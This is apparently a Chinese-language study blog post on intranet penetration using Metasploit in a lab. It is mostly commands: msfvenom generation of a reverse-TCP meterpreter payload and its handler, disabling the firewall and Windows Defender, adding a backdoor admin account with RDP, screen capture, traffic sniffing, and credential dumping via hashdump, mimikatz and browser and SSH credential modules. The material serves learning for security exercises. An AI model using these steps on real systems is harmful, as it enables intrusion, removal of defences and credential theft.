写在前面 开启内网渗透的学习啦,感觉这一部分在护网和渗透比赛方面很重要,而且能复习一下计网知识。打算先看个入门视频,然后再去看《内网渗透体系建设》这本书,建立自己的知识体系。加油加油!
内网信息收集
信息收集思路
系统管理员密码
用户session,远程桌面开放情况和共享连接记录
浏览器密码及cookies
windows、数据库密码获取
host文件获取,dns缓存信息收集
进程、补丁、网络代理、软件列表等信息
vpn历史密码、teamview密码、启动项、iis配置信息等
一些工具
工具化信息收集 —— msf
msf反弹shell
反弹shell的目的是什么?
一般来说目标主机与我们攻击者之间都存在防火墙等安全设备,限制了流入目标主机的流量,导致我们直接连接目标主机会失败。所以我们想让目标主机主动连接我们,这就是反弹shell。
首先获取到自己主机ip后输入payload
1 msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=172.16.80.136 LPORT=444 > '/home/racerz/windows-meterpreter-staged-reverse-tcp-444.exe'
生成的恶意软件拖进虚拟机,实际是通过webshell上传至目标服务器(需要先拿下webshell权限)
接下来需要配置会话处理程序
1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.16.80.136 set lport 444 run
接下来目标机触发exe程序,这里为了能正常通信只能先关掉防火墙
可以看到这里会建立一个id为1的会话
其次我们通过如下命令从meterpreter命令行切换至目标机shell
1 2 3 shell execute -f cmd -i -H #-f指定执行一个可执行程序, -H表示隐藏进程, -i通过创建的进程返回一个操作接口
回显出来由于操作系统编码不一致会导致乱码问题,可通过解决
通过shell关闭防火墙
1 2 3 4 5 6 7 8 9 netsh advfirewall set allprofiles state off netsh advfirewall show allprofiles 通过策略添加防火墙规则隐藏行为: netsh advfirewall set add rule name="VMWARE" protocol=TCP dir =in localport=5555 action=allow # 下面的win10以上已废弃 netsh firewall add portopening TCP 5555 "VMWARE" ENABLE ALL 重启让配置生效: shutdown -r -f -t 0
添加策略允许攻击机能够正向的去连接靶机的5555端口而不被拦截
关闭杀毒软件
1 2 3 4 5 关闭windefend:net stop windefend 关闭杀毒软件: run killav run post/windows/manage/killav
打开并连接3389
1 2 3 4 5 6 7 8 9 10 11 12 13 开启3389 远程桌面: run post/windows/manage/enable_rdp run getgui -e 在目标机器添加用户: run getgui -u admin -p admin #meterpreter模块的功能,通过-u指定用户名,-p指定密码即可添加用户net localgroup administrators admin /add #windows通过这个命令添加用户到管理员用户组 远程连接桌面 rdesktop -u username -p password ip #Linux mstsc.exe #Windows中的远程桌面
原始目标机远程桌面服务开启情况
运行指令,当前目标机处于关闭状态
接下来向目标机器添加账户,注意密码需要符号规范(大小写,特殊字符,不少于8位)中途有报错但是通过net user
可以看到账户已添加进去
之后可以将其添加到管理员用户组
利用net localgroup administrators
可以查看到管理员用户组有哪些用户
之前如果没有添加到管理员用户组时会出现本地策略不允许您使用交互式登录
的情况,这里需要注意一下
桌面截图查看
1 2 3 4 5 6 7 screenshot # 会保存屏幕截图到/root下 use espia # 加载模块 screengrab # 和screenshot一样,但是会自动打开这个图片,个人感觉这个最好用 screenshare # 会生成一个html文件并自动在浏览器打开,并且会不断时时更新跟视频差不多,但是默认保存到/root会有权限限制,复制一下到其他地方在访问即可,另外我打开之后画面完全没出来过,太卡了不建议使用
删除指定用户
1 2 3 4 use post/windows/manage/delete_user set USERNAME admin2 set session [sessionid] run
可以通过search cmd
来找到指定模块
可以通过background
保证不退出会话,同时执行其他模块
接下来再去查看账户可以看到已经删除
数据包抓取
利用sniffer模块抓取目标机流量包
1 2 3 4 load sniffer sniffer_interfaces sniffer_start 1 sniffer_dump 1 1.cap
这里可以看到实际就是对指定网卡进行流量捕获
利用psnuffle
模块进行流量包解码
1 2 3 use auxiliary/sniffer/psnuffle set PCAPFILE 1.cap exploit
口令破解
hashdump
可以获取到目标机的明文密码以及哈希值(高版本只能哈希值)
其实际上读取的是系统当中的SAM文件中的内容,解析并提取其中的哈希值
注意当前模块的使用需要拥有SYSTEM权限
1 2 3 use post/windows/gather/hashdump set session exploite
一点提权的知识
getuid
可以查看到当前用户权限
如果是普通用户想要使用hashdump功能则需要先去提权,msf自带一个getsystem
功能,其是以一种命名管道的方式获取的SYSTEM权限,但实际上并未达到真正的SYSTEM权限
另一种方式通过进程迁移的方式,将当前进程迁移到SYSTEM权限运行的进程上,可以达到真正提权的效果
以vmtoolsd为例作进程迁移,该进程号为424
hashdump结果的解读
用户名:用户id:LM-HASH值:NT-HASH值
创建的用户id从1000开始,内置及admin(500)是500开始
mimikatz 模块 hashdump使用的是mimikatz的部分功能
1 2 3 4 5 6 load mimikatz wdigest kerberos msv ssp tspkg tspkg livessp mimikatz_command -h mimikatz_command -f a:: #查询有哪些模块 mimikatz_command -f samdump::hashes mimikatz_command -f samdump::bootkey
其他模块的使用
确定目标主机是否为虚拟机
获取目标主机上的软件安装信息
1 run post/windows/gather/enum_applications
获取目标主机上最近访问过的文档、链接信息
1 run post/windows/gather/dumplinks
查看目标环境信息
1 run post/multi/gather/env
查看firefox中存储的账号密码
1 run post/multi/gather/firefox_creds
查看ssh账号密码的密文信息,证书信息
1 run post/multi/gather/ssh_creds
更多模块中的功能使用可以通过search gather
查看
建议使用的集成信息收集模块
MSF主机发现
模块位于路径 modules/auxiliary/scanner/discovery/
主要有:
1 2 3 4 5 6 modules/auxiliary/scanner/discovery/arp_sweep modules/auxiliary/scanner/discovery/ipv6_mulitcast_ping modules/auxiliary/scanner/discovery/ipv6_neighbor modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement modules/auxiliary/scanner/discovery/udp_probe modules/auxiliary/scanner/discovery/udp_sweep
MSF端口扫描
通过search portscan
查看模块下的功能
1 2 3 4 5 6 7 8 9 10 11 12 auxiliary/scanner/portscan/ftpbounce //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好防范此攻击,单在旧的系统上仍可以被利用 auxiliary/scanner/natpmp/natpmp_portscan //NAT-PMP External Port Scanner auxiliary/scanner/portscan/xmas //圣诞树扫描.属于较为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级TCP标记检测器的过滤 auxiliary/scanner/portscan/ack //通过ACK扫描方式对防火墙上未被屏蔽的断口进行探测 auxiliary/scanner/portscan/tcp //通过一次完整TCP连接来判断端口是否开放,速度较慢 auxiliary/scanner/portscan/syn //使用发送TCP SYN标志方式探测开放端口
推荐使用SYN扫描
服务扫描与查点
确定开放端口之后,对相应端口进行服务探测
模块位于Scanner
下,工具命名方式以如下的方式
1 2 3 4 [service_name]_version # 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本 [service_name]_login # 可对某种服务进行口令探测攻击
查找相应的服务模块直接search _version/_login
利用方式的话就是直接use
指定之后show options
查看选项设置对应的参数即可